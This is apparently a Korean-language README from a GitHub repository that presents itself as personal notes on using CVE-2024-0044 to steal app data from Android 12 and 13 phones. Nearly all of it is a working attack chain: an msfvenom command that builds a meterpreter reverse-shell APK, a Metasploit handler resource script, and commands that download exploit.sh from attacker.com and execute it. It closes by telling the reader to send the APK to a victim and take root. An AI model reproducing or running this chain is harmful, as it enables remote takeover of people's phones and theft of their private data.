scs-labrat/android_autorooterCVE-2024-0044 취약점을 이용하여 Android 12 및 13의 앱에서 민감한 사용자 데이터를 원격으로 유출합니다
[
]
이것은 무엇보다도 여기에 정리된 작업의 가능성을 더 탐구하기 위한 개인적인 메모에 가깝습니다: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html https://tinyhack.com/2024/06/07/extracting-whatsapp-database-or-any-app-data-from-android-12-13-using-cve-2024-0044/?s=03 https://www.mobile-hacker.com/2024/06/17/exfiltrate-sensitive-user-data-from-apps-on-android-12-and-13-using-cve-2024-0044-vulnerability/
궁극적으로는 자체 실행되는 익스플로잇을 만들고 싶지만, 작은 걸음부터 시작하죠..
msfvenom -p android/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> R > payload.apk
명령을 자동화하기 위한 리소스 스크립트 execute_script.rc를 만듭니다:
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT <attacker_port>
exploit -j
set AutoRunScript multi_console_command -rc /path/to/commands.rc
필요한 명령이 포함된 리소스 스크립트를 만듭니다:
cd /data/local/tmp
wget http://attacker.com/exploit.sh -O exploit.sh
chmod +x exploit.sh
./exploit.sh
리소스 스크립트로 Metasploit을 시작합니다:
msfconsole -r execute_script.rc
다음 명령으로 파티를 시작하세요:
msfconsole -r execute_script.rc
이제 리스너/페이로드 전달이 준비되었습니다... 그 payload.apk를 피해자에게 보내세요.. 자, 루트 권한을 얻어보자고